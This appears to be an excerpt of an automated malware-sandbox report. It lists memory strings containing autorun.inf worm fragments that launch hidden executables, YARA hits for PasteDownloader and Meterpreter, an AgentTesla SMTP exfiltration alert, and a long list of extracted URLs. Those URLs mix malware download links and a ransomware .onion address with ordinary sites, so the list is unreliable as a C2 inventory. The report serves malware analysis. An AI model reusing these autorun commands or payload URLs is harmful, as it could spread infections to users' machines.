        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: \autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpBinary or memory string: torun.infshell\open\command=virus.exe[AutoRun]\virus.exe
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpBinary or memory string: docopy/yautorun.inf%%x:autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: %sautorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: :\Autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: v[autorun];
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: deviceid&"\cysset.exe","-a+hsr")$file=fileopen($objevent.targetinstance.deviceid&"\autorun.inf"
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: adeviceid&"\cysset.exe","-a+hsr")$file=fileopen($objevent.targetinstance.deviceid&"\autorun.inf"
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: C:\TEMP\\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: C:\TEMP\\autorun.inf]
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpBinary or memory string: >> autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpBinary or memory string: .exe -h -s -r autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpBinary or memory string: shell\open=Open >> autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: [Autorun]
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: \Autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: line1 = "[autorun]" && line2 = "open = System\DriveGuard\DriveProtect.exe -run
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: filesetattrib, -RASH, %thsdrv%\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: *filesetattrib, -RASH, %thsdrv%\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: S[autorun]
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: E[autorun]
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: G[autorun]
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: [autorun]shell\explore\command=
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: D:\Autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpBinary or memory string: [autorun]open=avm10\avm10stakakodimolim.exe
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpBinary or memory string: -[autorun]open=avm10\avm10stakakodimolim.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: shell\install\command=foto.exe>>%co%autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: 1shell\install\command=foto.exe>>%co%autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: in(cdefghijklmnopqrstuvwxyz)doxcopy/h/y/r/kautorun.inf%%
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: [autorun]open=shell\open=(&o)shell\open\command=s-
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: f[autorun]open=shell\open=(&o)shell\open\command=s-
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpBinary or memory string: %windir%\system32\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpBinary or memory string: %c:\AUTORUN.INF
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpBinary or memory string: autorun.inf4++
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: M:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: [autorun]]
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: atr="[autorun]"&vbcrlf&"shellexecute=wscript.exe/e:vbs
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: ?atr="[autorun]"&vbcrlf&"shellexecute=wscript.exe/e:vbs
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: [Autorun]
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: %sAutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: %s\AutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: [autorun]Open = action=Abrir carpeta para ver archivos
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: I[autorun]
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: AutoRun.infd
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: AutoRun.infd2Program Files\Common Files\Microsoft Shared\MSINFO
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: %c:\Autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: (/c echo [autorun] >>
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: .*if"%1"=="+"attrib+s+a+h+r%2\autorun.inf:end
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: \autorun.inf\
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: [autorun]shellexecute=recycler\s-6-
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: `[autorun]shellexecute=recycler\s-6-
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: '[autorun]
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: 3:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: [autorun]]
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: Y[autorun]
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpBinary or memory string: [autorun]shellexecute="resycled\boot.com
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpBinary or memory string: /[autorun]shellexecute="resycled\boot.com
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpBinary or memory string: X:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpBinary or memory string: .vbs&startautorun.inf&exit
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpBinary or memory string: /cstartservieca.vbs&startautorun.inf&exit
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpBinary or memory string: +/cstartservieca.vbs&startautorun.inf&exit
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpBinary or memory string: ;&lt;br/&gt;[autorun]&lt;br/&gt;open=terserah.exe&lt;br/&gt;shellexecute=terserah.exe&lt;br/&gt;action=openfoldert
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpBinary or memory string: t;&lt;br/&gt;[autorun]&lt;br/&gt;open=terserah.exe&lt;br/&gt;shellexecute=terserah.exe&lt;br/&gt;action=openfoldert
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: AUTORUN.INF
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpBinary or memory string: autorun.infx
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: %A_LoopField%:\AutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: [AUTORUN]
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: AUTORUN.INF[AUTORUN]
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: AUTORUN.INF[AUTORUN]
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: 'kill_del(, a_loopfield ":\autorun.inf")
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: %TsDv%\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: [autorun]ACTION=Open USB Driveopen=
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: filesetattrib, +RASH, %TsDv%\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: [autorun]shellexecute=speedkill3.vbsaction=icon=1.icolabel=flesh
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: B[autorun]shellexecute=speedkill3.vbsaction=icon=1.icolabel=flesh
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: echo [AutoRun] > %%
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: filesetattrib($var[$i]&"\autorun.inf","-hsr
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: |filesetattrib($var[$i]&"\autorun.inf","-hsr
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: =fileopen($var[$i]&"\autorun.inf",10)filewrite($
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: ,"[autorun]"&@crlf)
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpBinary or memory string: copy%hty1%autorun.inf%%i:&attrib+r+s+h%%i:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpBinary or memory string: 8copy%hty1%autorun.inf%%i:&attrib+r+s+h%%i:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: Autorun.inf]
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: autorun.infS
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: c:\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: [autorun]@#Open=tool.exe@#Shellexecute=tool.exe@#Shell
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: 6[autorun]@#Open=tool.exe@#Shellexecute=tool.exe@#Shell
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: autorun.inf]
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: iniwrite($fix[$a]&"\autorun.inf","autorun","shellexecute","temp.pif")
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: Giniwrite($fix[$a]&"\autorun.inf","autorun","shellexecute","temp.pif")
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: \\autorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: [autorun]open=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: [autorun]action=openshellexecute=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: \sysautorun.inf
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: \sysautorun.inf]
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: 0AutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: 0[AutoRun]
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: %s:\AutoRun.inf
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: :\autorun.infopenAutoRun]
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: [autorun]shell\open\command=d:\systemvolumeinformation.exeshell\explore\command=d:\systemvolumeinformation.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: p[autorun]shell\open\command=d:\systemvolumeinformation.exeshell\explore\command=d:\systemvolumeinformation.exe
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: [autorun]open=service.exeshell\open=(&o)shell\open\command=service.exeshell\open\default=1shell\explore=(&x)shell\explore\command=service.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpavbase.vdm._p
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdm
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile opened: C:\Windows\SERVIC~1\
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4ADEC FindFirstFileW,FindNextFileW,FindClose,FindClose,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4B030 FindNextFileW,FindClose,FindFirstFileW,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D72504 FindFirstFileExW,FindNextFileW,FindClose,FindClose,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFF810 FindFirstFileW,FindNextFileW,FindClose,CloseHandle,CloseHandle,
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 5x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 6x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 5x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 6x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 5x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 6x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 5x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 6x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 6x nop then mov edx, edx
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 4x nop then mov ecx, ecx

        Networking:

        barindex
        Yara detected PasteDownloaderShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected MeterpreterShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
        Source: TrafficSnort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.11.20:49812 -> 116.0.120.83:587
        C2 URLs / IPs found in malware configurationShow sources
        Source: Malware configuration extractorURLs: http://www.trotux.com/?z=
        Source: Malware configuration extractorURLs: http://www.zhongsou.com/kefu/zskf.htm
        Source: Malware configuration extractorURLs: http://www.w3.org/1999/xsl/transform
        Source: Malware configuration extractorURLs: http://evanstechnology.com
        Source: Malware configuration extractorURLs: http://41.59.0.100/intranet
        Source: Malware configuration extractorURLs: http://www.microsoft.com
        Source: Malware configuration extractorURLs: http://www.direct-ip.com/
        Source: Malware configuration extractorURLs: http://downloadfilesldr.com/index5.php?adv=141
        Source: Malware configuration extractorURLs: http://spywaresoftstop.com/download/141/setup.exe
        Source: Malware configuration extractorURLs: http://service.srvmd6.com/Mac/getInstallerSettings/?version=
        Source: Malware configuration extractorURLs: http://gveejlsffxmfjlswjmfm.com/files/
        Source: Malware configuration extractorURLs: http://so1.5k5.net/interface?action=install&p=
        Source: Malware configuration extractorURLs: http://thespecsupportservice.com/uno.dat
        Source: Malware configuration extractorURLs: http://110.42.4.180:
        Source: Malware configuration extractorURLs: http://pznjaslo.pl/wp-content/outstanding-invoices/
        Source: Malware configuration extractorURLs: http://aindonashi.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.alibaba.com
        Source: Malware configuration extractorURLs: http://(www|corail)\\.sudoc
        Source: Malware configuration extractorURLs: http://downloadfilesldr.com/index2.php?adv=141
        Source: Malware configuration extractorURLs: http://santasalete.sp.gov.br/jss/
        Source: Malware configuration extractorURLs: http://acayipbiri.blogspot.com/
        Source: Malware configuration extractorURLs: http://bardubar.com/mMS83JIdhq/ieygBSH38hsJa/
        Source: Malware configuration extractorURLs: http://xn--
        Source: Malware configuration extractorURLs: http://a.pomf.cat/
        Source: Malware configuration extractorURLs: http://cicahroti.blogspot.com/
        Source: Malware configuration extractorURLs: http://22y456.com/
        Source: Malware configuration extractorURLs: http://my-speak.eu/csioj.exe
        Source: Malware configuration extractorURLs: http://babukq4e2p4wu4iq.onion
        Source: Malware configuration extractorURLs: http://62.210.214.
        Source: Malware configuration extractorURLs: http://articlunik.blogspot.com/
        Source: Malware configuration extractorURLs: http://spotdewasa.blogspot.com/
        Source: Malware configuration extractorURLs: http://basti.ciseducation.org/website/images/prettyphoto/dark_square/.x1-unix/
        Source: Malware configuration extractorURLs: http://www.nytimes.com
        Source: Malware configuration extractorURLs: http://contentedmerc.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=
        Source: Malware configuration extractorURLs: http://d1.downxia.net/products/
        Source: Malware configuration extractorURLs: http://www.gamedanji.cn/ExeIni
        Source: Malware configuration extractorURLs: http://aitimatafb.blogspot.com/
        Source: Malware configuration extractorURLs: http://berkah2013.blogspot.com/
        Source: Malware configuration extractorURLs: http://bigboobsp.blogspot.com/
        Source: Malware configuration extractorURLs: http://aspeja.org/question/
        Source: Malware configuration extractorURLs: http://www.apple.com
        Source: Malware configuration extractorURLs: http://www.chipsroofingloveland.com/status/services-06-26-18-new-customer-vh/
        Source: Malware configuration extractorURLs: http://microhelptech.com/gotoassist/
        Source: Malware configuration extractorURLs: http://pastebin.com/
        Source: Malware configuration extractorURLs: http://www.fastclick.com
        Source: Malware configuration extractorURLs: http://errors.statsmyapp.com
        Source: Malware configuration extractorURLs: http://gicia.info/cd/cd.php?id=%s&ver=g
        Source: Malware configuration extractorURLs: http://musah.info/
        Source: Malware configuration extractorURLs: http://%s/buy_online.php
        Source: Malware configuration extractorURLs: http://apee296.co.ke/tatiyv6824540/gescanntes-dokument/zahlungserinnerung
        Source: Malware configuration extractorURLs: http://www.tripod.com
        Source: Malware configuration extractorURLs: http://batrasiaku.blogspot.com/
        Source: Malware configuration extractorURLs: http://gaigoixxx.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.sqwire.com
        Source: Malware configuration extractorURLs: http://arthisoft.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.steelbendersrfq.cf/
        Source: Malware configuration extractorURLs: http://gg
        Source: Malware configuration extractorURLs: http://www.
        Source: Malware configuration extractorURLs: http://yamaofficial.com/rxuczm/3415201.png
        Source: Malware configuration extractorURLs: http://www.xanga.com
        Source: Malware configuration extractorURLs: http://www.cnn.com
        Source: Malware configuration extractorURLs: http://xn---82-qdd0akcfirgv4j.xn--p1ai/ups-ship-notification/mar-13-18-07-06-38/
        Source: Malware configuration extractorURLs: http://wmwifbajxxbcxmucxmlc.com/files/
        Source: Malware configuration extractorURLs: http://81.177.26.20/ayayay
        Source: Malware configuration extractorURLs: http://i.compucrush.com/i.php
        Source: Malware configuration extractorURLs: http://jugnitv.com/final.jpg
        Source: Malware configuration extractorURLs: http://www.consumerinput.com/
        Source: Malware configuration extractorURLs: http://104.236.94.
        Source: Malware configuration extractorURLs: http://cl.1ck.me/
        Source: Malware configuration extractorURLs: http://seuufhehfueughek.ws/
        Source: Malware configuration extractorURLs: http://bonkersmen.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.j.mp/
        Source: Malware configuration extractorURLs: http://lialer.com/wFBIQQUccZOdYQKJvhxm/ejrwqokckt.exe
        Source: Malware configuration extractorURLs: http://www.mlb.com
        Source: Malware configuration extractorURLs: http://www.friskypotato.com/
        Source: Malware configuration extractorURLs: http://tumicy.com/plqijcndwoisdhsaow/
        Source: Malware configuration extractorURLs: http://pages
        Source: Malware configuration extractorURLs: http://www.yahoo.com
        Source: Malware configuration extractorURLs: http://whatami.us.to/tc
        Source: Malware configuration extractorURLs: http://darkside
        Source: Malware configuration extractorURLs: http://www.monster.com
        Source: Malware configuration extractorURLs: http://www.netscape.com
        Source: Malware configuration extractorURLs: http://speedmasterprinters.co.za/erroreng/erroreng/erroreng/erroreng/ii.php
        Source: Malware configuration extractorURLs: http://200.74.240.151/saturno/w8.txt
        Source: Malware configuration extractorURLs: http://downloadfilesldr.com/index4.php?adv=141
        Source: Malware configuration extractorURLs: http://download.zhongsou.com/cdsearch/
        Source: Malware configuration extractorURLs: http://spywaresoftstop.com/wfdfdghfdghj.htm
        Source: Malware configuration extractorURLs: http://brembotembo.com/doc.xls
        Source: Malware configuration extractorURLs: http://cts.hotbar.com/trackedevent.aspx
        Source: Malware configuration extractorURLs: http://%s/sync.php
        Source: Malware configuration extractorURLs: http://31.192.210.
        Source: Malware configuration extractorURLs: http://chemgioaz.blogspot.com/
        Source: Malware configuration extractorURLs: http://likesomessfortelr.eu/mSsNX3JDSJD/inNSj398LSj/
        Source: Malware configuration extractorURLs: http://203.199.200.61
        Source: Malware configuration extractorURLs: http://www.alexa.com
        Source: Malware configuration extractorURLs: http://www.microsoft.com0
        Source: Malware configuration extractorURLs: http://8nasrcity.blogspot.com/
        Source: Malware configuration extractorURLs: http://www.bookiq.bsnl.co.in/data_entry/circulars/m
        Source: Malware configuration extractorURLs: http://mydirecttube.com/
        Source: Malware configuration extractorURLs: http://ajeyftrjqeashgda.mobi/mSsQDIMIQ/inIDw/
        Source: Malware configuration extractorURLs: http://aolopdephn.blogspot.com/
        Source: Malware configuration extractorURLs: http://faithhotelghana.com
        Source: Malware configuration extractorURLs: http://94.102.14.
        Source: Malware configuration extractorURLs: http://www.diannaowang.com:8080
        Source: Malware configuration extractorURLs: http://200.74.240.151/saturno/w7.txt
        Source: Malware configuration extractorURLs: http://www.searchmaid.com/
        Source: Malware configuration extractorURLs: http://www.moliv.com.br/stat/email0702/
        Source: Malware configuration extractorURLs: http://%s%simg.jpg
        Source: Malware configuration extractorURLs: http://gosgd.com
        Source: Malware configuration extractorURLs: http://owwwc.com/mm/
        Source: Malware configuration extractorURLs: http://pig.zhongsou.com/helpsimple/help.htm
        Source: Malware configuration extractorURLs: http://avnisevinc.blogspot.com/
        Source: Malware configuration extractorURLs: http://hostthenpost.org/uploads/
        Source: Malware configuration extractorURLs: http://pssquared.com/invoice-status/tracking-number-and-invoice-of-your-order/
        Source: Malware configuration extractorURLs: http://www.lycos.com
        Source: Malware configuration extractorURLs: http://192.189.25.17/cgbin/ukbros
        Source: Malware configuration extractorURLs: http://208.95.104.
        Source: Malware configuration extractorURLs: http://tempuri.org/
        Source: Malware configuration extractorURLs: http://afkar.today/test_coming.training/w_f/
        Source: Malware configuration extractorURLs: http://tsrv4.ws/
        Source: Malware configuration extractorURLs: http://%domain%/config.php
        Source: Malware configuration extractorURLs: http://dl.dropbox.com/u/
        Source: Malware configuration extractorURLs: http://www.klikspaandelft.nl/
        Source: Malware configuration extractorURLs: http://cs.zhongsou.com/
        Source: Malware configuration extractorURLs: http://mitotl.com.mx/ups.com/
        Source: Malware configuration extractorURLs: http://%s
        Source: Malware configuration extractorURLs: http://autothich.blogspot.com/
        Source: Malware configuration extractorURLs: http://march262020.com/files/
